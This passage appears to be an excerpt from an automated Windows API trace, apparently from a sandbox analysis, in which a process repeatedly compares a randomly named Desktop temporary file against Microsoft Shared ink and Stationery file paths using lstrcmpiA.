Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 1 [0145.163] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 1 [0145.164] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 1 [0145.165] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", 